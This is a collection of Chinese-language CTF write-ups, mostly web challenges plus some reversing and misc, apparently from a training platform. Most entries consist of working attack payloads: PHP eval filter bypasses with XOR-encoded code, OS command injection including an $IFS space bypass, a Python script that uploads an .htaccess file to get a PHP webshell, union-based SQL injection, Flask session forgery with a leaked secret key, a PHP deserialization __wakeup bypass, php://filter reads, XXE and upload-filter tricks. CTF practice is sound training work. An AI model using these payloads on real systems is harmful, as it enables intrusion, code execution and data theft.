打开源码,看到calc.php,打开看到源码。
在 num 前面加个空格即可绕过
? num=phpinfo();
calc.php? num=print_r(scandir(chr(47)))
列出目录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1JiYRIUE-1593173106930)(https://i.loli.net/2020/01/19/8HzGU3tFQPIVapD.png)]
?%20num=file_get_contents(chr(47).f1agg)
拿到flag
这道题在开学初的时候在嘶吼做过了 2333~
POST方式请求即可下载help.docx
?filename=WEB-INF/web.xml
请求获取web.xml可以获取站点信息
发现FlagController控制器,并且可以获得class文件
/WEB-INF/classes/com/wm/ctf/FlagController.class
下载class文件后
放入luyten反编译。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hAoftnsO-1593173106932)(https://i.loli.net/2020/01/19/EcvUsPXDiqLI3om.png)]
把flag字段的base64解码即可获得flag
输入 1;show tables# 可以看到一个Flag表。
输入*,1列出所有数据
array[0]就是flag
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
绕过preg_match并且字符串中使用过的不同字符次数小于13
用Tiaonmmn师傅暴力搜索的字符串列出了flag
((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
ThinkPHP的upload类,会对文件名进行strip_tags处理。
会去掉html标签。
抓包后后缀改为php上传即可。
?ip=127.0.0.1;ls
发现flag.php
?ip=127.0.0.1;cat flag.php
发现过滤了空格和flag
可以用$IFS代替空格
`ls`可以将返回的输出作为输入
/?ip=127.0.0.1;cat$IFS`ls`
.git泄露得到源码。不知道为啥githack.py读取不到,用JGitHack读到了。
include "flag.php";
echo "flag在哪里呢?
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
传入字符过滤,必须为小写字符,_,()
pos(localeconv())可以获取到字符.
结合scandir可以扫描当前目录
?exp=print_r(scandir(pos(localeconv())));
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file读到FLAG
上传php发现
后缀名不能有ph!
可以上传.htaccess
用了师傅的exp
先上传.htaccess 内容将jpg解析成php
上传jpg 内容为 读取/flag
然后利用条件竞争读取返回页面的文件地址,去读取flag即可
import requests
url = "http://172.21.4.12:10011/"
session = requests.session()
htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')}
res_hta = session.post(url, files=htaccess)
files = {'uploaded': ('123.jpg', "", 'image/jpeg')}
res_jpg = session.post(url, files=files)
res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'})
print(res_shell.text)
进去可以看到一个登陆注册,结合题目名字,应该是登陆admin的账号
先随便注册一个账号
点进修改密码,发现git源码
经过查阅,发现flask的session是可以被用户修改的,但是必须知道密钥。
发现git中有个config.py
SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’
根据环境获得SECRET_KEY 或者直接 设置SECRET_KEY 为 ckj123
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
我们使用 session_cookie_manager.py 来把 当前用户的session解密了。
python session_cookie_manager.py decode -c {session} -s ckj123
{'_fresh': True, '_id': b'c92213f00200a7bde69a5617628d7959b2aec3de284cfc5c52902010b4977ab962648ccc7ae49daee87ef3d2d5ff71d90dd4cee0d2a38a216ac3aa3edd1653df', 'csrf_token': b'e73db2684721d55100f86ae843408b712eee3d3a', 'image': b'HDg1', 'name': 'xmao', 'user_id': '10'}
把上面的用户名修改成admin,在放回去加密
python session_cookie_manager.py encode -s ckj123 -t {session}
得到
.eJw9kM2KwkAQhF9l6bMHE-NF8KBMDDl0h7gTw8xFXBPN_GUhKpoR330HWTz0oavgq65-wv40tJcOFtfh1k5grxpYPOHrBxYgvBlRp17q1R3DCN4omVVxUacR6XRGOk8kO86JW4VuY4UnI3meUEZO-J0mns-R5Xfka0XMzCjeqIKLkXSZiJh02C0xa0S9swVrrNRk0JWRdGKGdTnHbGsCy0q-Dnrqiywdkcsu5HSCBz0rH6QrLzOxhNcEjpfhtL_-mrb_VJD8GOw8RJ6n5POHZFWEfHWX-hyLukqI4RRZp8inowxnYFx6US7fOOUO5_ZD-k63Pf47_cEFAw6NUz1M4HZph_ffIJrC6w_Bo22Y.Xj0PIQ.Bo_R7J0qDV_7Q3EGGks6wSd6TpQ
将cookie里面的session改成上面重新加密的即可。在返回主页面就拿到了flag!
直接给了源码,利用nmap扫描GET参数传来的ip,可以利用nmap的命令写入shell
由于过滤了单引号,所以这里要使用反引号
``先执行,然后返回给语句,在写入test.php
?host=' -oG test.php '
类似于sqli-lab的题目
GET报错注入
username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23
拿到了数据库名字
geekuser,l0ve1ysq1
在去爆列名
username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23
id,username,password
username=admin&password=admin%27union%20select%201,2,group_concat(password)%20from%20l0ve1ysq1%23
在去拿密码
wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{f216f273-bea0-4532-ad91-409914ba41e4}
得到flag
上传发现只能上传图片格式,Content-Type改成image/jpg后,发现php,php5类型不支持,phtml能上传。改成phtml后上传成功。cat /flag获得flag!
直接
?file=php://filter/read=convert.base64-encode/resource=flag.php
拿到flag
前端白名单限制上传,后端黑名单限制,但是漏了一个phtml。上传shell,然后cat /flag即可拿到flag。
输入后可以ping ip,老套路了。
直接127.0.0.1;cat /flag
找备份文件,刚开始以为是www.zip或者www.tar.gz之类的
没想到是index.php.bak;
下载来之后
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
$key被传来后转换成整型
然后和字符串"123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"对比
一样就给flag
在对比过程中 $str也会被隐性转化成整形
所以我们强制转换这串字符串得到123
echo intval("123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3");
最后?key=123即可拿到flag;
想买一个flag cookie,发现余额不足~
打开cookie发现session是用base64加密的,把钱改到100在加密回去。
就发现变成100了,直接买了flag!
一道井字棋游戏,正确玩根本⑧可能赢过他,最多平手
右键查看源码发现他直接post上传你下的位置。
通过表单提交,他也会同时在你下之后立即作出反应。
但是通过ajax发送,页面并不会刷新,所以他也不会做出反应。
利用这一特点。我们连下三棋
$.post("/move",{move:"b"});
$.post("/move",{move:"br"});
$.post("/move",{move:"bl"});
在随便点个位置,即可获得flag!
这题很简单
按照他的要求伪造请求头即可
User-Agent: Syclover
Referer: https://www.Sycsecret.com
x-forwarded-for: localhost
还挺神秘
右键查看源代码发现Archive_room.php
在右键查看源码发现action.php
直接用浏览器查看 直接就就跳转了。
利用BP查看
发现secr3t.php
开始代码审计了。
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
直接文件包含 读到flag.php源码
打开题目提示
You'll be rewarded with a flag if you can make it over some /hurdles.
在url结尾加上/hurdles
I'm sorry, I was expecting the PUT Method.
又提示我们用put方法发送
打开POSTMAN 用put发送后
I'm sorry, Your path would be more exciting if it ended in !
这句看了半天没看懂,翻译不太给力。
让我们在结尾加上一个!
/hurdles/!
I'm sorry, Your URL did not ask to `get` the `flag` in its query string.
加上?get=flag
I'm sorry, I was looking for a parameter named &=&=&
以raw发送,用url编码 %26%3D%26%3D%26=%2500%0A
I'm sorry, Basically, I was expecting the username player.
要以基本验证发送username: player
在postman里面用basic auth 写上用户名player
I'm sorry, Basically, I was expecting the password of the hex representation of the md5 of the string 'open sesame'
密码是md5加密后的 ‘open sesame’ 就是54ef36ec71201fdf9d1423fd26f97f6b
I'm sorry, I was expecting you to be using a 1337 Browser.
又说要1337浏览器
加一个header user-agent: 1377
I'm sorry, I was expecting your browser version (v.XXXX) to be over 9000!
还需要 1377 的版本号超过9000,格式是v.9000
user-agent: 1337 v.9000
I'm sorry, I was eXpecting this to be Forwarded-For someone!
需要X-Forwarded-For请求头,随便输入一个内容
I'm sorry, I was eXpecting this to be Forwarded For someone through another proxy!
告诉我们要代理
随便输入一个123.123.123.123,127.0.0.1
I'm sorry, I was expecting the forwarding client to be 13.37.13.37
然后把代理改成13.37.13.37
X-Forwarded-For: 13.37.13.37,127.0.0.1
I'm sorry, I expect you to accept only plain text media (MIME) type.
只接受text/plain
带上Accept: text/plain
I'm sorry, Я ожидал, что вы говорите по-русски.
出现了,俄罗斯语!
翻译了一下," 对不起,我以为你会说俄语。 "
Accept-Language: ru
I'm sorry, I was expecting to share resources with the origin https://ctf.bsidessf.net
origin: https://ctf.bsidessf.net
I'm sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges?
Referer: https://ctf.bsidessf.net/challenges
Congratulations!
完成了,在Header的X-Ctf-Flag字段里面找到了falg
www.zip 下载到备份。
index.php里面为
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
$a = new Name("admin",100);
echo serialize($a);
直接序列化出来 在反序列化,$this->username会被魔术方法__wakeup 给替换成guest
所以我们把序列化出来的payload
O:4:“Name”:2:{s:14:" Name username";s:5:“admin”;s:14:" Name password";i:100;}
2改成3 即可绕过
O:4:“Name”:3:{s:14:" Name username";s:5:“admin”;s:14:" Name password";i:100;}
并且类名和私有变量之间有空白符,但是复制的时候却变成了空格
所以在url传递payload的时候要将空格换成%00
O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
打开pay.php 查看源代码
发现
然后打开cookie发现 user: 0
将user 改成 1
并且密码不能等于数字,而且要是404
所以将密码改为404%00或者404A
会进行隐式的类型转换
然后发送 说Pay for the flag!!!hacker!!!
说让我们付钱,并说我们是hacker。
然后在参数里面在加一个money
you have not enough money,loser~
又说我们无
看了别的师傅的博客说要 money[] 即可绕过!
常规XXE
]>
&xxe; ASD
利用xxe把flag渲染到svg图片里面~
]>
进入看到登陆界面
直接admin’ or 1=1 #
拿到flag
考点为二次注入,在用户名处注入。
admindd’ or 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database() #
得到 flag 表
dmindd’ or 1=2 union select group_concat(column_name) from information_schema.columns where table_name=‘flag’ #
得到flag字段
admindd’ or 1=2 union select group_concat(flag) from flag#
爆出flag
IDA打开,Shift+F12 查看字符串
直接看到flag
放到x64dbg F8大法一路跑
放到IDA分析,发现字符串一枚
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tSEnodhQ-1593173106941)(https://i.loli.net/2020/01/21/ciwbaHG8kzU4q5M.png)]
将i和r换成1
flag{hack1ng_fo1_fun}
notepad++打开,发现一段图片base64,转换后是一个二维码,扫描后得到KEY{dca57f966e4e4e31fd5b15417da63269}
右键文件打开,没错,就在那里~
右键文件打开,没错,就在那里~
扫码即可
右键文件打开搜索flag即可